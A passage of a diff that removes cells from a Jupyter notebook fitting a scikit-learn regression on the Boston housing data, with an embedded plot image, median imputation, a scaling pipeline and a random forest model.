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\n",
- "text/plain": [
- ""
- ]
- },
- "metadata": {
- "needs_background": "light"
- },
- "output_type": "display_data"
- }
- ],
- "source": [
- "housing.plot(kind=\"scatter\", x=\"RM\", y=\"MEDV\", alpha=0.8)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 22,
- "metadata": {},
- "outputs": [],
- "source": [
- "housing = strat_train_set.drop(\"MEDV\", axis=1)\n",
- "housing_labels = strat_train_set[\"MEDV\"].copy()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Missing Attributes"
- ]
- },
- {
- "cell_type": "raw",
- "metadata": {},
- "source": [
- "To take care of missing attributes, you have 3 options\n",
- " 1. get Rid of the missing data points\n",
- " a=housing.dropna(subset=[\"RM\"])\n",
- " a.shape\n",
- " 2. Get rid of the whole attribute\n",
- " housing.drop(\"RM\", axis=1)\n",
- " 3. Set the value to some value(0,mean or medium)\n",
- " #median=housing[\"RM\"].median()\n",
- " #housing[\"RM\"].fillna(median)\n",
- " #housing.shape"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 23,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "(404, 13)"
- ]
- },
- "execution_count": 23,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "median = housing[\"RM\"].median()\n",
- "housing[\"RM\"].fillna(median)\n",
- "housing.shape"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 24,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "SimpleImputer(strategy='median')"
- ]
- },
- "execution_count": 24,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "from sklearn.impute import SimpleImputer\n",
- "\n",
- "imputer = SimpleImputer(strategy=\"median\")\n",
- "imputer.fit(housing)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 25,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "array([2.86735e-01, 0.00000e+00, 9.90000e+00, 0.00000e+00, 5.38000e-01,\n",
- " 6.21000e+00, 7.82000e+01, 3.12220e+00, 5.00000e+00, 3.37000e+02,\n",
- " 1.90000e+01, 3.90955e+02, 1.15700e+01])"
- ]
- },
- "execution_count": 25,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "imputer.statistics_.shape\n",
- "imputer.statistics_"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 26,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/html": [
- "\n",
- "\n",
- "
\n",
- " \n",
- " \n",
- " \n",
- " CRIM \n",
- " ZN \n",
- " INDUS \n",
- " CHAS \n",
- " NOX \n",
- " RM \n",
- " AGE \n",
- " DIS \n",
- " RAD \n",
- " TAX \n",
- " PTRATIO \n",
- " B \n",
- " LSTAT \n",
- " \n",
- " \n",
- " \n",
- " \n",
- " count \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " 404.000000 \n",
- " \n",
- " \n",
- " mean \n",
- " 3.602814 \n",
- " 10.836634 \n",
- " 11.344950 \n",
- " 0.069307 \n",
- " 0.558064 \n",
- " 6.279908 \n",
- " 69.039851 \n",
- " 3.746210 \n",
- " 9.735149 \n",
- " 412.341584 \n",
- " 18.473267 \n",
- " 353.392822 \n",
- " 12.791609 \n",
- " \n",
- " \n",
- " std \n",
- " 8.099383 \n",
- " 22.150636 \n",
- " 6.877817 \n",
- " 0.254290 \n",
- " 0.116875 \n",
- " 0.712983 \n",
- " 28.258248 \n",
- " 2.099057 \n",
- " 8.731259 \n",
- " 168.672623 \n",
- " 2.129243 \n",
- " 96.069235 \n",
- " 7.235740 \n",
- " \n",
- " \n",
- " min \n",
- " 0.006320 \n",
- " 0.000000 \n",
- " 0.740000 \n",
- " 0.000000 \n",
- " 0.389000 \n",
- " 3.561000 \n",
- " 2.900000 \n",
- " 1.129600 \n",
- " 1.000000 \n",
- " 187.000000 \n",
- " 13.000000 \n",
- " 0.320000 \n",
- " 1.730000 \n",
- " \n",
- " \n",
- " 25% \n",
- " 0.086963 \n",
- " 0.000000 \n",
- " 5.190000 \n",
- " 0.000000 \n",
- " 0.453000 \n",
- " 5.878750 \n",
- " 44.850000 \n",
- " 2.035975 \n",
- " 4.000000 \n",
- " 284.000000 \n",
- " 17.400000 \n",
- " 374.617500 \n",
- " 6.847500 \n",
- " \n",
- " \n",
- " 50% \n",
- " 0.286735 \n",
- " 0.000000 \n",
- " 9.900000 \n",
- " 0.000000 \n",
- " 0.538000 \n",
- " 6.210000 \n",
- " 78.200000 \n",
- " 3.122200 \n",
- " 5.000000 \n",
- " 337.000000 \n",
- " 19.000000 \n",
- " 390.955000 \n",
- " 11.570000 \n",
- " \n",
- " \n",
- " 75% \n",
- " 3.731923 \n",
- " 12.500000 \n",
- " 18.100000 \n",
- " 0.000000 \n",
- " 0.631000 \n",
- " 6.630250 \n",
- " 94.100000 \n",
- " 5.100400 \n",
- " 24.000000 \n",
- " 666.000000 \n",
- " 20.200000 \n",
- " 395.630000 \n",
- " 17.102500 \n",
- " \n",
- " \n",
- " max \n",
- " 73.534100 \n",
- " 100.000000 \n",
- " 27.740000 \n",
- " 1.000000 \n",
- " 0.871000 \n",
- " 8.780000 \n",
- " 100.000000 \n",
- " 12.126500 \n",
- " 24.000000 \n",
- " 711.000000 \n",
- " 22.000000 \n",
- " 396.900000 \n",
- " 36.980000 \n",
- " \n",
- " \n",
- "
\n",
- "
"
- ],
- "text/plain": [
- " CRIM ZN INDUS CHAS NOX RM \\\n",
- "count 404.000000 404.000000 404.000000 404.000000 404.000000 404.000000 \n",
- "mean 3.602814 10.836634 11.344950 0.069307 0.558064 6.279908 \n",
- "std 8.099383 22.150636 6.877817 0.254290 0.116875 0.712983 \n",
- "min 0.006320 0.000000 0.740000 0.000000 0.389000 3.561000 \n",
- "25% 0.086963 0.000000 5.190000 0.000000 0.453000 5.878750 \n",
- "50% 0.286735 0.000000 9.900000 0.000000 0.538000 6.210000 \n",
- "75% 3.731923 12.500000 18.100000 0.000000 0.631000 6.630250 \n",
- "max 73.534100 100.000000 27.740000 1.000000 0.871000 8.780000 \n",
- "\n",
- " AGE DIS RAD TAX PTRATIO B \\\n",
- "count 404.000000 404.000000 404.000000 404.000000 404.000000 404.000000 \n",
- "mean 69.039851 3.746210 9.735149 412.341584 18.473267 353.392822 \n",
- "std 28.258248 2.099057 8.731259 168.672623 2.129243 96.069235 \n",
- "min 2.900000 1.129600 1.000000 187.000000 13.000000 0.320000 \n",
- "25% 44.850000 2.035975 4.000000 284.000000 17.400000 374.617500 \n",
- "50% 78.200000 3.122200 5.000000 337.000000 19.000000 390.955000 \n",
- "75% 94.100000 5.100400 24.000000 666.000000 20.200000 395.630000 \n",
- "max 100.000000 12.126500 24.000000 711.000000 22.000000 396.900000 \n",
- "\n",
- " LSTAT \n",
- "count 404.000000 \n",
- "mean 12.791609 \n",
- "std 7.235740 \n",
- "min 1.730000 \n",
- "25% 6.847500 \n",
- "50% 11.570000 \n",
- "75% 17.102500 \n",
- "max 36.980000 "
- ]
- },
- "execution_count": 26,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "X = imputer.transform(housing)\n",
- "housing_tr = pd.DataFrame(X, columns=housing.columns)\n",
- "housing_tr.describe()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Scikit-learn Design "
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Basically, there are 3 types of objects:\n",
- "1. Estimators - it estimates some parameter based on a dataset. Eg. imputer. It has a fit method and transform method.Fit method -Fits the dataset and calculates internal parameters\n",
- "\n",
- "2. Transformers - transform method takes input and returns output based on the learning from fit(). It also has a convenience function called fit_transform() which fits and then transforms.\n",
- "\n",
- "3. Predictors - LinearRegression model is an example of predictor. fit() and predict() are two common functions. It also gives score() function which will evaluate the predictions."
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Feature Scaling"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Primarily, two types of features scaling methods:\n",
- "1. Min-max scaling (Normalization)\n",
- " 0 < (value-min)/(max-min) >1\n",
- " Sklearn provides a class called MinMaxScaler for this\n",
- " \n",
- "2. Standardization\n",
- " (value-mean)/std\n",
- " Sklearn provides a class called StandardScaler for this"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 27,
- "metadata": {},
- "outputs": [],
- "source": [
- "from sklearn.pipeline import Pipeline\n",
- "from sklearn.preprocessing import StandardScaler\n",
- "\n",
- "my_pipeline = Pipeline(\n",
- " [(\"imputer\", SimpleImputer(strategy=\"median\")), (\"std_scaler\", StandardScaler())]\n",
- ")"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 28,
- "metadata": {},
- "outputs": [],
- "source": [
- "housing_num_tr = my_pipeline.fit_transform(housing)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 29,
- "metadata": {
- "scrolled": true
- },
- "outputs": [
- {
- "data": {
- "text/plain": [
- "(404, 13)"
- ]
- },
- "execution_count": 29,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "housing_num_tr.shape"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Selecting a desired model"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 30,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "RandomForestRegressor()"
- ]
- },
- "execution_count": 30,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "from sklearn.ensemble import RandomForestRegressor\n",
- "\n",
- "# model = LinearRegression()\n",
- "# model = DecisionTreeRegressor()\n",
- "model = RandomForestRegressor()\n",
- "model.fit(housing_num_tr, housing_labels)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 31,
- "metadata": {},
- "outputs": [],
- "source": [
- "some_data = housing.iloc[:5]\n",
- "some_labels = housing_labels.iloc[:5]"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 32,
- "metadata": {},
- "outputs": [],
- "source": [
- "prepared_data = my_pipeline.transform(some_data)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 33,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "array([22.508, 25.587, 16.363, 23.376, 23.391])"
- ]
- },
- "execution_count": 33,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "model.predict(prepared_data)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 34,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "[21.9, 24.5, 16.7, 23.1, 23.0]"
- ]
- },
- "execution_count": 34,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "list(some_labels)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 35,
- "metadata": {},
- "outputs": [],
- "source": [
- "from sklearn.metrics import mean_squared_error\n",
- "\n",
